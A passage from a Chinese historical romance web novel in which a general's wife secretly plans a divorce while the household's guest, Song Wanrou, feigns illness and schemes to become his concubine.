不消说,新来的丫鬟肯定比府里原来的丫鬟好用,她们没有主子,以后只能听自己使唤。
这样不动声色地想着,宋婉柔客气道:“多谢大嫂,大嫂又为我费心了。”
苏云瑶笑道:“这是你大哥吩咐的,我可不敢不听。先前他就说过,你身体柔弱,不让你动手劳累,青枝青叶笨手笨脚的,不给你添乱就不错了,再说,她们是我院里的人,院里事多,一时片刻也离不开她们。要是你相中了这两个丫鬟,以后院里有什么活,吩咐她们去做就行了。”
宋婉柔抿唇笑了笑。
多亏二嫂提醒了她,青枝青叶这两个丫鬟,是苏云瑶往她院里安插的耳目。
可苏氏精明能干又怎样,她再多心思,也顶不过裴秉安一句话。
这府里的当家人,永远是裴秉安。
裴秉安看重子嗣,苏氏不能生育,饶是她再能说会道讨好大哥,也根本无用。
池旁有座八角小亭子,两人在亭子里的石凳上坐下说话,宋婉柔差丫鬟去取了雪顶茶来沏上。
想到以前也曾与裴秉安在亭内一起饮过茶,她轻浅地笑了笑,道:“大嫂,以前大哥最爱喝雪顶茶,每次他跟我爹练完箭术,我都会亲手给他煮一壶雪顶茶。”
她亲手倒了茶,递到苏云瑶面前,“大嫂也尝尝,看看这茶好不好喝?”
那茶梗碧绿,味道清香扑鼻,苏云瑶不动声色地抿了一口,笑着夸赞道:“一看就是好茶,怪不得这茶深受人喜爱,别说你和你大哥,这府里上上下下,没有不爱喝这种茶的。”
故意提到以往,苏氏却丝毫没有介怀,宋婉柔有些挫败地捏着茶盏,不自在地笑了笑:“大嫂说得也是。”
苏云瑶温婉一笑,道:“婉柔妹妹,过去的事,你大哥没有跟我说过,我还很想听呢。你大哥曾说过宋伯父是他的恩人,这么说,他曾跟着你爹爹练箭?”
父亲是大哥的授业恩师,这份恩情,宋婉柔乐意让她知道。
“当然,大哥的箭术,是我父亲手把手教的。”
原来如此,苏云瑶突然叹了口气,道:“只恨缘浅,我没有见过宋伯父,不然也能当面向伯父道谢。不知伯父的忌日是哪日?以后每到了日子,我也好为他老人家烧一炷香。”
宋婉柔暗暗冷笑,苏氏的这番心意,她可看不上。
“父亲的忌日就在明天,烧香的事,就不用麻烦大嫂了。”
苏云瑶若有所思地转了转腕上的玉镯,“明天就是伯父的忌日,妹妹要出城去祭拜吗?若是需要车马,我一早给你备好。”
宋婉柔唇角悄然勾起。
大哥早就安排好了车马行程,苏氏竟然一点儿也不知情。
这样的事,大哥根本没知会她一声,显然并没怎么把她放在眼里。
“不用了,大哥明日要陪我一起去,大嫂不知道吗?”
宋婉柔故作惊讶地抬起柳眉,定定看着苏云瑶,想从她脸上看到手足无措地尴尬窘迫,谁料她只是微微笑了笑,神色却丝毫未变。
她的期待落空,脸色不由难看了几分。
苏云瑶对她变幻莫测的神色视而不见,而是慢条斯理地提壶倒了盏滚烫的热茶,放到她面前。
来月华院之前,她琢磨了很久,隐约已猜到了事情原委,若不是裴秉安那厮白日不在府里,她也没兴致来听宋婉柔说这些事。
“妹妹,尝口热茶。”
看到这盏热茶,就莫名想到了黄连汤,不知苏氏是不是在故意刁难人,宋婉柔眉头立时拧起,狠狠咬住了唇。
“茶水温热时才能入口,大嫂不会不知道吧?”
苏云瑶垂眸,盯着那盏热茶,悠悠笑着道:“喝茶与做事一个道理,茶水太热太烫不好入口,要放一阵子才更适合喝。妹妹刚到裴府,不妨先安心住个半年,等过了这段时日,你再想做什么,说不定都会如愿的。”
裴府大大小小的事,已经够让人操心分神,她无意与宋婉柔为敌,再多惹一桩麻烦。
但她与裴秉安和离的计划,只在自己心中悄悄打算,无人知晓,也不可能明白告诉她。
言尽于此,提点这些话,希望宋婉柔能用心体会她的意思。
如果这半年内,她能沉住气,安分守己地呆在裴府,等裴秉安签下和离书后,以他知恩图报的性情,他记着宋家恩情,应会迎娶她进门做正妻,到时候她就是裴府名正言顺的大奶奶,届时便会皆大欢喜。
可若是她心思不正,现在就想取代她,只要她还是裴秉安的正妻一天,就算她使尽伎俩,也顶多只能得到一个妾室的位置。
裴秉安的外祖家乃是陆国公府,舅舅持家不严,宠妾灭妻,他最是厌恶此等行径,早就在裴府立下过规矩。
只要是裴家男丁,不管是庶出的二弟,还是继母所生的三弟,以后若是纳妾,必须妻妾地位分明,就算没了正妻,也绝不能将妾室扶正。
他是众人的楷模,行走的铁律,身为大哥,他说过的话,更会恪守不渝。
话说完了,苏云瑶也不多呆,带着自己的丫鬟施施然离开。
重新回到紫薇院当差,青枝青叶心里高兴地乐开了花儿。
青杏也高兴她们能回来,不过大奶奶今日突然把她们从月华院带走,还是让她觉得意外。
“大奶奶怎么不让她们多留在月华院一段时日呢?那宋姑娘看上去不是个省事的,那里有咱的人,她们说话做事,多少也能
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注意些分寸。”
听青杏在一旁说话,苏云瑶靠在美人榻上,慢慢咬着蜜饯出神。
宋婉柔让她的丫鬟叠纸元宝,这些事,青枝青叶一点儿都不知情,说明她们主仆在处处防着她们,也在防着她这个大嫂。
听说宋婉柔与弟媳最近常有往来,莫非是崔如月添油加醋对她说了什么?
宋婉柔本就思虑又重,疑心又多,不会觉得自她进府时,她这个当大嫂的便开始针对她,甚至还把青枝青叶当耳目安插在她院里吧?
天地良心,是她自己率先装病,行为不端,被她发现而已。
算了,大抵人都不善于自省,不管怎样,青枝青叶已不适合再留在那里。
吃完一块蜜饯,擦了擦唇畔的残渣,苏云瑶让人把大厨房的牛妈妈传来,吩咐她备些祭祀用的肉菜,之后等天色暗下来时,又让丫鬟把院里的灯笼点亮。
裴秉安今日本该休沐,只是军中忽然有要事处理,若是他回了府,会按照他新定下的日子来她的院子。
夜半时分,四周黑蒙蒙的,紫薇院却亮着灯。
远远看见院内温柔悠亮的灯光,裴秉安微不可察地勾起唇角,大步流星地进了院子。
在正房守夜的青桔听见脚步声,揉着朦胧睡眼起身看了看,见来人是姑爷,便放他进了门。
屋内寂然无声,只点着一盏光线微弱的夜灯,熟悉的清淡香味弥漫在屋内,却不见苏云瑶起来迎他。
裴秉安稳步走近床榻,大掌撩开床帐看去,只见她已睡下了。
她睡得很沉很香,精致的眉眼恬淡宁静,乌发如瀑似地铺在枕畔。
裴秉安沉吟片刻,没有惊醒她。
睡意朦胧中,似乎感觉身畔的床榻一沉,清冽的气息逐渐靠近过来。
苏云瑶微微蹙了蹙眉,翻了个身朝里睡下。
将近五更时分,裴秉安雷打不动地按时起身。
下榻前,他敛眸看了眼枕边人的睡颜,剑眉悄然紧拧。
今日要去祭扫,应当身心清净,所以昨晚没有与她行房,只能等下个休沐之日再补上。
他下榻穿衣,苏云瑶也醒了过来。
她没有再睡,如他以往宿在她院里时那样,下榻套上软鞋,走近他身边服侍他穿衣。
“夫君今日要陪婉柔妹妹祭奠伯父伯母吗?”
垂眸看着她乌黑的发顶,裴秉安略一颔首。
以往每年他都会去城郊祭奠,这次与以往不同得是,要与婉柔一起去。
这种事,是他与宋家的事,没有提前知会她一声,是觉得没有必要,现在她既然已经知道,就更不必多说了。
“你是如何知道的?”
他行事自有道理,一向不会主动告诉她,苏云瑶早已习以为常,闻言只是无所谓地笑了笑。
“昨天去和婉柔妹妹说话,她告诉我的。我让厨房另备了些祭奠用的肉蔬酒水,已装在食盒里,夫君记得带上。”
裴秉安赞许地看她一眼。
他只吩咐人准备了香烛纸钱,没想到贤妻如此细心周到。
听到屋里有说话的动静,青杏在外头敲了敲门,道:“大奶奶,热汤备好了,装在水囊里了。”
紫薇院有间小厨房,苏云瑶经常会让丫鬟熬些她爱吃的燕窝粥之类的东西。
可这回,青杏却觉得奇怪,大奶奶没让人炖她爱吃的粥,而是吩咐熬了一锅苦瓜汤。
屋内,听见青杏的话,苏云瑶暗暗勾起唇角,温柔地叮嘱道:“夫君,出城路远,我给你准备了一些热汤,清热解毒,生津止渴,在路上喝吧。”
12. 第 12 章
出城行了大半路程,暂时停下歇息时,裴秉安吁停骏马,拧开水囊饮了几口,剑眉不由倏然紧拧。
苏氏准备的热汤,喝下去确实清心去火,生津止渴,只是口感太过苦涩。
默然片刻后,他审视地打量几眼水囊。
不知苏氏熬的到底是什么汤,但一来这是贤妻的拳拳爱意,不可辜负,二来,他爱惜粮食,不喜浪费,即便苦口难咽,他还是饮了一半,剩下的一半,留到城郊再喝。
隔着一段不远不近的距离,坐在马车上,宋婉柔掀开帘子的一角,偷偷看了看前面。
裴秉安高坐于马背之上,后面还跟着两个骑着高头大马的小厮,小厮挡住了远眺的视线,只隐约看到他高大的背影。
宋婉柔无奈放下帘子,看了眼对面两个身强力壮的仆妇,悻悻抿了抿唇,无精打采地靠在车壁上,只觉得有些泄气。
她本以为按照计划,一路上会有许多与裴秉安独处的机会,可谁知出府时,苏氏居心叵测地准备了许多肉蔬酒水,足足装满了四个硕大的食盒,裴秉安便多带了两个小厮与两个婆子。
婆子们与她和白莲同乘一车,小厮们则骑马紧随着裴秉安,眼看快到了城郊的宋家祖茔,始终连句话也不曾与他说过,宋婉柔的脸色不好看,犹如覆了一层清冷灰白的霜影。
“姑娘,打起精神来,到老爷坟前祭拜时,这些小厮婆子总不能再紧跟着,到那时便是与将军呆在一起的最好时机,你可千万别气馁!”看自家主子精神不振,白莲暗暗着急,附耳低声劝慰。
宋婉柔没作声,轻轻按了按乌青的眼周。
她昨晚没睡好,一夜辗转反侧,苏氏去她院里说的那番话,她翻来覆去地思量了许多遍,始终没弄清她到底有什么深意。
等她顶着两个乌眼圈起床,覆了几层脂粉都掩盖不住那眼周的乌青时,才后知后觉地发现,苏云瑶在坏心眼地给她使绊子,故意让她姣好的容貌受损!
她揽镜自照,欲哭无泪,连早已备好的杏色裙裳都没法穿了,只得临时换了件淡黄色的衣裳,好衬得气色亮些。
出门时便受了这番不小的挫折,等出府时,发现又多了几个碍事的小厮婆子,一路上,她恨恨咬紧了唇,一声没吭。
“姑娘?”
见她不应声,白莲急忙又低低喊了一声。
只是这声音惊动对面的打盹的仆妇,两人疑惑的视线投来,白莲尴尬笑了一声,陪着笑脸请她们继续闭目养神。
“我怎么会气馁?放心,我不会让她得逞的!”
隔了片刻,听到小姐咬牙低声吐出这句话,白莲心中一喜,将早已浸过葱汁的帕子悄悄塞到袖间,待马车在山脚下停稳时,扶着她下了马车。
宋家祖茔在山腰处,一路循石阶而上,经过几道石制牌坊,沿着甬道走到山腰深处,可见几座拱形坟墓。
宋家伯父伯母的坟墓之前,一座石碑高高矗立,碑前立着供案,裴秉安沉默着竖掌挥了挥手,小厮仆妇见状,便赶紧将祭品摆了上去,燃起了香炉,焚香烧纸。
整个过程安静肃穆,裴秉安剑眉始终紧拧,神色瞧着比平时更加沉冷威严,始终一言不发。
小厮仆妇们向来在他面前毕恭毕敬,此时更是大气也不敢喘一下,个个垂头叉手候在一旁,随时等待吩咐。
白莲也从未见过这种氛围,有些紧张,有些畏惧,手指头抖了又抖,试了好几次,才手忙脚乱得把袖间的帕子抽了出来,遮掩着送到小姐手里。
给父母上过一炷香,宋婉柔悄然转眸,看了眼裴秉安。
只见他面色肃冷,眉头紧锁,目不斜视地盯着徐徐燃烧的纸钱,似是在回忆父亲与他相处的点滴过往。
此时正是最好的时机,白莲屏息凝神,一个劲地朝这边递眼色。
宋婉柔会意地勾了勾唇,拿帕子擦了几下眼睛,眼泪便刷得一下滚滚落了下来。
她酝酿了番情绪,轻声抽泣起来。
“大哥,如果爹娘还在,一切还像以前那样,就好了。”
一旁,裴秉安恭敬地上了柱香,闻言喉结艰涩地滚动几下,言简意赅地吐出一个字:“唔。”
姑娘终于和将军说上话了,白莲按捺住心底的紧张激动,暗暗高兴不已。
姑娘生得好看,哭起来更显柔弱娇美,定能博得将军的怜惜疼爱。
只要姑娘哭过一阵后,与将军回忆一番过往,之后顺势晕倒在将军怀里,那以后的一切,就不难预料了。
有宋家祖宗的在天之灵作证,将军定然会对姑娘负责,届时苏氏就会得到一纸休书,只能落魄得地开裴府,而姑娘便一跃成为将军的正妻了。
轻轻哭了几声后,宋婉柔抬起头来,清泪从眸中颗颗落下,姣好的脸庞如梨花带雨,楚楚可怜。
裴秉安心如止水地扫了她一眼。
没多久前饮过的热汤威力高涨,苦味在口中连绵翻涌,喉咙有些干涩发哑,他不便开口说话,皱眉沉声道:“婉柔,节哀,回吧。”
话音落下,小厮们听见吩咐,立刻上前手脚麻利地收拾了香炉供案,两个仆妇也一左一右簇拥过来,扶着宋婉柔的胳膊,劝道:“姑娘,别伤心了,回府吧。”
宋婉柔的哭声戛然而止。
计划赶不上变化,白莲急得恨不得跺脚。
但眼看将军已阔步循着来路返回,主仆两个面面相觑片刻,只得无奈地苦着脸登上马车,启程返回。
错过了这么好的机会,回到月华院,宋婉柔气急败坏地抄起桌上的茶盏,狠狠摔到了地上。
当啷一声,茶盏四分五裂,碎片溅到当值的丫鬟小蝶身上,唬了她一跳,急忙跪了下去。
白莲把她打发了出去,待屋里只有她们主仆两人,忙低声劝道:“姑娘别生气,小心气坏了身子。”
宋婉柔咬牙冷笑:“我怎么能不生气,要不是苏氏从中作梗,今天怎么会无功而返?”
白莲倒了盏茶过来,让她喝下平平怒气,发愁地叹道:“姑娘,那大奶奶心机深沉,处处提防着我们,我们在这里是客居,她在明,我们在暗,她使坏,我们束手无策,只能吃个哑巴亏。偏偏我们还不能对她无礼,毕竟她是这府里的正经大奶奶,万一她找借口把我们撵出去,那我们就更没办法了。”
宋婉柔喝了口茶,怒气消散些许,慢慢思量了一会儿,唇畔倏然泛起一丝冷笑。
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>苏云瑶这样做,不就是想办法赶走她吗?
她偏要想法子在这府里长久地住下去,与她争上一争!
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傍晚时分,苏云瑶去了静思院。
裴秉安与宋婉柔一同返府,早有人给她传了话,她处理完几个妈妈回的琐事,便到静思院看一眼。
那熬了一晚的苦瓜汤,功效非同一般,她还真有点担心他喝多了,会喝出什么毛病来。
到了静思院的门口,探头往里看了看,发现他刚沐浴过,穿着一身墨色寝衣,身姿笔挺地坐在桌案前,正在拧眉喝茶。
苏云瑶暗暗勾了勾唇,站在门槛处,没往里走,温柔地笑道:“夫君今日出城祭拜,一切可还顺利?”
裴秉安耳力敏锐,早已听到她的脚步声,闻言转眸看来,沉甸甸的视线落在她身上,示意她进来坐下。
苏云瑶摇了摇头。
她来这里就是远远看他一眼,不打算久呆,见他应没什么大碍,这就要走了。
“夫君无事就好,院里还有事要打理,我先回去了。”
谁料,裴秉安却沉声道:“进来说话。”
苏云瑶迟疑一瞬,迈过门槛走了进来。
“夫君有事?”
裴秉安拧眉道:“今日熬的汤很好,只是太过苦口,我不喜欢,以后莫要再熬了。”
苏云瑶轻快地点点头:“夫君,我记下了。”
沉默片刻,想到休沐之日还未与她行房,裴秉安沉沉凝视她一眼,不容置疑地说:“既然来了,晚间就住在这里,不必回去了。”
苏云瑶心里咯噔一声,懊恼地骂了自己一句多事。
担心什么来什么,早知道打发个人过来问他一声不就行了,干嘛非要亲自过来?
不过,想到他今日喝了一肚子苦瓜汤,料想也不会那么血气方刚,遂安心了一些。
裴秉安年少时便在边境征战,多年住在兵营,养成了独立起居的习惯,从不许人近身服侍,这院里只有一个丫鬟春桃干些粗活,不经允许,也从不敢进卧房铺床叠被。
躺在榻上,苏云瑶瞥了眼旁边那两床肃然有序的墨色锦被,又摸了摸身下硬邦邦的床板,不由暗暗腹诽了几句。
谁会喜欢这种沉闷的颜色,谁又会喜欢这种石头般冷硬的架子床?
想当初,成亲后的第三天,他们终于圆房那一日,她揉着又酸又痛的腰爬起来,打算在床榻上多铺几床软褥子,再换些颜色鲜艳点儿的锦被,裴秉安却如下达军令般,定下了严明的规矩。
“以后你去紫薇院住着,每月初五初十我会去你院里,别的时候,我们分院居住。”
她那夜吃尽了苦头,听他说要分院居住,虽有些费解,但也欣然同意,自那以后,他的院子她极少过来,这些锦被床褥,也一直是他喜好的这番模样。
身畔床榻忽然一沉,男人屈膝上榻,高大挺拔的身体转瞬覆了上来。
苏云瑶下意识咬住了唇。
裴秉安突地一顿,俯身在她唇上碰了碰,大掌攥住她纤细的腰身,沉声叮嘱道:“成亲已有三年,你当调养好身子,尽快怀上子嗣,为我生下嫡长子,不可再耽误了。”
13. 第13章
清晨起床时,看见自己腰间赫然醒目的两道红印子,苏云瑶不由暗骂了几句。
裴秉安那厮喝了一水囊苦瓜汤,竟不减精气,也许是为了让她尽快怀上子嗣,比以前行房还多了半个时辰!
怪她自己想的简单,轻视了他的旺盛精力!
行房之后,她沉沉睡了过去,一睁眼就到了天色大亮时分,他早就上值走了。
苏云瑶一路腹诽着回了紫薇院。
到了房里,对镜重新梳妆时,想到他昨晚提到的嫡长子的事,她用力深吸一口气,才勉强平复下心绪。
妆奁台下的小抽屉里,有一瓷瓶避子丸,她倒出来吃了一颗,再晃了晃,里面竟一粒都没有了。
这个月同房的次数多,这些避子丸都用完了,只能尽快抽个时间,再去趟保和堂。
去花厅理完事,苏云瑶照常去锦绣院给婆母请安。
罗氏鬓边几根白发被遮住,儿媳送来的黑发药有几分用处,这回见了她,脸上难得挂了些笑意。
想到女儿还未定下婚事,罗氏道:“淑娴今年十五岁,也该定亲了,哪家的郎君我还没想好,左右不过年底之前的事。她的嫁妆,该早早准备齐全了,别的不说,像那些拔步床,橱柜之类的家具,从定下到做出来,少说也得半年时间。我写了个嫁妆单子,你先吩咐人照着上面的东西定做、采买,以后淑娴不管嫁到什么样的婆家,这些嫁妆可都是关乎裴府的脸面的,你可要用心些。”
接过婆母递来的嫁妆单子,苏云瑶深感头疼。
上面林林总总列了不下数百项,田产房产、金玉首饰、陪嫁的丫鬟婆子等暂且不算,光银锭,婆母便足足列了九千九百两。
其他的,婆母也许会自掏腰包置办,可这九千九百两真金白银,是毫无疑问要长子长媳添妆的。
苏云瑶不动声色地盘算了下府上的账目。
裴府需要花银子的地方有很多,府里的进项勉勉强强可以应对平日支出,遇到老太太过大寿这种事,账上就捉襟见肘了,这些自己添补点也就罢了。
可裴淑娴嫁人,裴宝绍娶妻,这两桩还需要另外准备大笔银子,这几年,她少说也往府里添了上千两银子了,她的私银还有大用,不能再平白往这个大坑里填了。
裴秉安的银俸不交给她,她两手空空,此时纵使想为裴淑娴添妆,也无能为力。
看到长媳拿着嫁妆单子,却久久沉吟未语,罗氏嘴角耷拉下来,脸上怒意若隐若现。
“怎么,你和秉安当家理事,这点给你妹妹添妆的小事,还让你们夫妻为难了?”
罗氏是继母,身体不好,脾气也不好,虽不是亲生母亲,裴秉安也一向敬重她,苏云瑶也只得照顾她的情绪,不会说出什么让她不高兴的话,以免她气坏了身子。
“母亲哪里的话,我只是看看这单子有没有遗漏的地方,给妹妹准备嫁妆是大事,我怎么敢不尽心呢?”
听到长媳这样说,罗氏脸上勉强浮出些笑意。
“那就好,我把这件事交给你,是对你的信任,你尽快去办。”
那嫁妆单子就像个烫手山芋,揣在兜里都烫得慌,出了锦绣院,苏云瑶便让青杏先收了起来。
给裴淑娴添妆的事,是个难题,她先稳住婆母,尽量往后拖一段时间,最好拖到她与裴秉安和离了,留给他再娶的正妻去办。
给婆母请过安,要去桂香堂侍奉老太太,走到半路时,迎面遇到了弟媳崔如月。
想到大哥亲自陪宋婉柔去上坟,大嫂心里一定难受,崔如月笑得满脸春风,眼角的几道细纹笑地皱起,像打了个明显的结。
苏云瑶微笑看着她,视线似乎不经意间在她的眼周停留了一瞬。
大嫂肤如凝脂,而自己眼旁却生了皱纹,崔如月脸色一变,赶忙把笑容压下,不自在地按了按眼角。
“大嫂,听说大哥和婉柔妹妹一起去宋家祖坟烧纸,你还让厨房准备了肉菜,有肘子,有烧肉,还有几坛酒,大嫂可真贤惠啊!”崔如月道。
厨房准备的酒菜,她竟知道得这么清楚?
苏云瑶意味深长地瞥了她一眼。
见崔如月脸上那遮都遮不住的幸灾乐祸,她忽然弯唇一笑,摆出长嫂苦口婆心劝导弟媳的架势,道:“那是自然,你我都是裴家的媳妇,理当处处为夫君着想,这是应该的。倒是你,把文仲管得这么严,不是我说你,像我们家这种高门大户,夫君有个三妻四妾也是常事,以前文仲不过提了一句想要纳妾的话,你就在宅子里闹得鸡飞狗跳,这事早就传到了外面,成了夫人太太嘴里的笑话。你也该长点心,以后文仲想要纳妾,你可别再这样了,随他的心意就是,以后做个贤妻良母,谁不夸赞你,连老太太都会多疼你几分。”
这番话还没说完的时候,崔如月的脸已经垮了下来。
去年裴文仲想要纳一房小妾,被她狠狠挠花了脸,老太太那么疼她,因为这事还数落了她一回,照大嫂所说,这事又不知被哪个多嘴多舌地传出去了,连外面的夫人太太都笑话她。
崔如月没了好心情,嘴里无数想要明嘲暗讽的话被堵了回去,连老太太的桂香堂都不去了,哭丧着脸回了自己的院子。
处理完府里的琐事,到了晚间,苏云瑶循着古方,琢磨如何配制一味独特的苏荷香。
苏荷香在古方中有记载,只是这种香中要用到一种叫做灵白的香料,她自小闻着各种香料长大,这个灵白却从未听说过。
琢磨了一番无果,她干脆暂将古方放到一边,盘算着明天腾出时间去趟保和堂。
屋外突然响起一道细细的声音,打乱了她的思绪。
“大奶奶,将军让您去趟月华院。”
苏云瑶暗暗纳罕。
这个时辰,天色已晚了,裴秉安为何会让她去月华院?
不过,来传话的人是宋婉柔的丫鬟小蝶,说明此时他正在她的院子里。
难不成宋婉柔故技重施,又上演了生病的那一幕?
去月华院的路上,苏云瑶道:“可是宋姑娘病了?”
小蝶进府没多久,那日来府里签赁契,苏云瑶与她说过话,还亲自领着她与小鹊去了月华院,所以见了这位大奶奶,她并不觉得害怕,反倒比与自己伺候的主子说话还大胆些。
“回大奶奶的话,宋姑娘病了,一天一夜都没吃东西,刚才还晕倒了。”
一天一夜没吃东西?难不成是真病了?
苏
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云瑶有些意外,脚下的步子不由加快了许多。
到了月华院,屋里灯火通明,裴秉安负手立在正房内,一向面无波澜的脸庞难掩焦急之色。
他已吩咐人去太医院请来了大夫,隔着一扇屏风,大夫正在里面为宋婉柔搭脉诊病,现在还不知她病情到底如何。
苏云瑶过去看了一眼。
只一眼,瞧见宋婉柔那煞白的脸色,想到丫鬟说她没吃东西,不用询问大夫,她心里便像明镜一样清楚了。
她自己素来不禁饿,一饿就头晕眼花,脸色发白,而宋婉柔那脸色惨白如纸,气若游丝的情形,与她没来得及吃东西时的病状一模一样。
苏云瑶扬了扬秀眉,没说什么。
待大夫诊完病,开了一堆补养气血的药,说病患暂无大碍,以后要好生保养身体后,裴秉安沉冷严肃的神色,才稍稍好转。
看过病,喝了一碗蜂蜜水,宋婉柔的身体比晕倒前好了些,她虚弱地坐在圈椅上,用绣帕擦着泪,轻声抽泣着说:“我这个多病的身子,实在不顶什么用,又要麻烦大哥大嫂了。”
她就是故意一天一夜不吃东西,硬生生饿出来的毛病,苏云瑶气定神闲地看着她,没作声。
贤妻这次没有开口,似乎并不在意婉柔的病情,裴秉安拧眉看过来,沉声道:“婉柔本就身体柔弱,这回又突然晕倒,虽说只是气血不足,暂无大碍,也不可不重视,平时你要多训诫丫鬟,让她们尽心服侍,以后不可再发生这样的事。”
苏云瑶:“......”
宋婉柔适时地抬起头来,一双泪眼分外朦胧,更显柔弱无助。
“大哥,你不要说大嫂,是我自己没照顾好自己,给大哥大嫂添麻烦了。”
苏云瑶:“......”
裴秉安沉声道:“婉柔,何出此言?你只管安心养病就是,不要多想。”
苏云瑶默默瞥了他一眼,他既然这样认为,她也懒得再多说什么。
出了月华院,苏云瑶便径直向自己的院子走去。
如果这回宋婉柔是真的病了,她自会吩咐人好好照顾她,可她又装病,打的什么主意她不用想也知道。
她暗中劝也劝了,拦也拦了,可她还要这样,她不屑再理会,索性睁一只眼闭一只眼,任她胡乱作闹。
不过,刚走了没多久,裴秉安便大步流星地走了过来,与她并肩同行。
他垂眸看着她,道:“这几日军务繁忙,我不能回府,婉柔这边,你记得每日尽心照看。”
苏氏虽是个贤妻,可不知今日是不是他的错觉,对于婉柔的病,她似乎没那么在意,这让他不得不多叮嘱她一回。
苏云瑶顿住脚步,仰首看着他的眼睛,无语地勾了勾唇。
他生了一双星眸,瞳仁乌黑深沉,眼神沉冷犀利,她有些不明白,这双眼见到装病的宋婉柔,怎么就像瞎了一样?
暗暗腹诽完,苏云瑶如往常般温柔地笑了笑:“夫君,我知道了,你专心忙碌你的军务,府里的事,不必你担心。”
裴秉安深深看了她一眼,心中异样的情绪悄然消散。
她还是如此贤惠,对待婉柔就像对待家人一样,这让他安心了许多。
14. 第14章
过了几日,一早忙完府里的事,又去月华院探了一回病,苏云瑶终于抽出时间,去了趟保和堂。
保和堂在京都外城的宣南坊,距离裴府所在的内城足有几十里路,等苏云瑶赶到时,已到了午后时分。
宣南坊居住的大都是商贾百姓,这里十分热闹,街道上随处可见各种铺子,还有些走街串巷的小贩敲着梆子售卖粘糕,到处飘荡着他们响亮的吆喝声。
保和堂在一处长街上,位置醒目,苏云瑶进去的时候,慕名而来看诊的病患已排到了堂外,徐大夫正在全神贯注地给一个患腿疾的年轻男子看诊。
她穿过人群往前走了几步,还没开口,徐长霖忽然抬头看了过来,待看清果真是她,眉头意外地抬起,朝她指了指内堂的方向,示意她先去里面等着。
里面有间休息的屋子,布置得十分雅致,虽是间医堂,却没有任何苦药的味道,而是燃着整日不灭的清味香,香味清淡悠长。
苏云瑶熟门熟路地推门进去,如回了自己娘家一样,舒舒服服地盘腿坐在长椅上,从桌上拿了个水灵灵的甜桃,一边慢悠悠地啃着,一边拿了本医书认真地翻阅。
过了没多久,徐长霖看诊完一个病患,将其余的交给了医徒,便大步走来见她。
看她姿态闲适地半靠在长椅上,如她以前一模一样,他轻嗤一声:“站没站形,坐没坐样。”
苏云瑶吃着甜桃,头也没抬地说:“你还不是一样,不过在外人面前好些。看诊完了?”
徐长霖撩袍在她对面坐下,唇角弯起,一笑露出对尖尖的虎牙。
“苏大小姐来找我干嘛?”
苏云瑶目不转睛地盯着医书,“徐神医,避子丸吃完了,再给我一瓶。”
徐长霖冷笑一声,道:“我说呢,要不是因为有事,也不可能来保和堂找我。平时半个月一个月的,也难得见你一回,上次打发人到我这里来给你婆母拿药,我想着你事后怎么也得来一趟吧,等了几天,连个人影都没有,你说有你这样没良心的吗?我好歹是你......”
他废话一向很多,苏云瑶抬眸瞪了他一眼,“别唠叨了,我天天忙得不得了,哪有空往这边来?把避子丸给我,我待会儿就得走。”
徐长霖皱起眉头,正色道:“避子丸对身体不好,一个月最多只能吃两次,我以前提醒过你。”
苏云瑶咔嚓啃完最后一口甜桃,像投壶似的,把桃核稳稳投到了渣篓里。
“我知道。”
以前,裴秉安每个月定的也是行两回房,吃两次避子丸没什么影响,只是那厮最近改了规矩,她得多备些避子丸,为了以后能够干净利落地和离,不再有任何牵扯,她绝对不能怀上他的孩子。
她知道这东西伤身,不到万不得已,她是不会多吃的。
“你给我就是,放心吧,我自有分寸。”
徐长霖思忖片刻,还是依了她的话,只是因她这样不知爱惜身体的态度,面白如玉的脸庞不由清冷了几分。
“都成亲三年了,为何还不要孩子?”他拿起个桃子,仔仔细细削干净了皮,递到苏云瑶手里。
苏云瑶接过桃子看了他一眼,不答反问:“别光问我,你怎么不成婚?”
一提到这个话题,徐长霖便不自在地清了清嗓子,“我的事,用你多管?”
苏云瑶礼尚往来,原话奉还:“那我的事,也不用你关心。”
徐长霖:“......”
她难得来一次,不是与她斗嘴的时机,他想了想,道:“今年,婶母和堂弟来京都看你了没有?”
苏云瑶啃桃子的动作一顿,屈指算了算日子,说:“今年还没来,至少得过了中秋以后吧,青州离这里远,来一趟路上就得大半个月。”
徐长霖点了点头:“他们来了,你打发人告诉我一声,我带他们四处转转,略尽地主之谊。”
苏云瑶嗯了一声,道:“把你药堂里的花茶拿些给我,提神醒脑的,美容养颜的都要,我最近熬夜做香粉,晚上喝。”
徐长霖:“药堂里还有燕窝,阿胶和人参,还要不要?”
“要,都装好,待会儿走的时候我带上。”苏云瑶毫不见外,也毫不客气。
徐长霖啧了一声。
他好像天生欠苏家似的,她来一趟,他的药堂就像被打劫了一回,他还不能有怨言。
他出去拿了避子丸,再回来时,却发现屋里静悄悄的,兴许是奔波一路太累,苏云瑶已靠在长椅上睡着了。
医书还在她手里攥着,徐长霖犹豫几瞬,动作极轻地将书从她手中拿走。
她睡得很踏实,脑袋倾靠在椅背上,呼吸轻浅均匀,葳蕤长睫偶尔颤动几下,不知梦到了什么。
他忽地想起,当年他寄住在苏家时,有一回他们在桃林骑马,她玩累了,坐在桃树底下啃了个甜桃,便这样靠在桃树上睡着了。
担心她这样睡会着凉,他拿来一张柔软的毯子,想要帮她盖在身上。
可犹豫一瞬,终是将毯子放回了原处,转而起身走到窗旁,将窗户严严实实地关紧,免得吹进些微凉风。
~~~
暮色四合时,月华院亮起了灯。
宋婉柔病恹恹地靠在床榻上,因接连几日没怎么用饭,身形消瘦了许多,双颊凹陷,一脸菜色,还时不时地咳嗽一阵。
姑娘对待自己这样狠,白莲都不忍心看下去了,趁着把其他丫鬟支出去的空当,她赶忙端了碗蜂蜜水过来,道:“姑娘,再这样下去,若是饿坏了身体,该怎么办啊?”
宋婉柔撑着胳膊坐起来,一口气将蜂蜜水都喝完了,只是甜水进了肚子,因饥饿而灼烧的肠胃反而咕噜噜叫了几声,更加火烧火燎起来。
她咬了咬牙,强忍下这种不适的感觉,道:“我现在这个样子,看上去怎么样?”
白莲低头打量着她的脸,眼泪差点涌了出来。
姑娘眼周发青,脸色发黄,像个快要饿死的病痨鬼,姑娘爱美,她不敢拿铜镜让姑娘照一照她此时的模样,只得含糊地道:“瘦了好些,瞧着憔悴得厉害。”
宋婉柔有气无力地点了点头。
她只能这样。
苏云瑶心机深沉,牢牢占据着正妻的位置,轻易难以撼动,纵使裴秉安并不喜爱她,却因为责任与尊重,不会轻易休了她。
她只能退而求其次,委屈自己做个妾室。
反正苏氏不能生育,只不过空顶着个正妻的名头,待以后自己诞下长子,就算是庶出,以后照样是裴府的继承人。
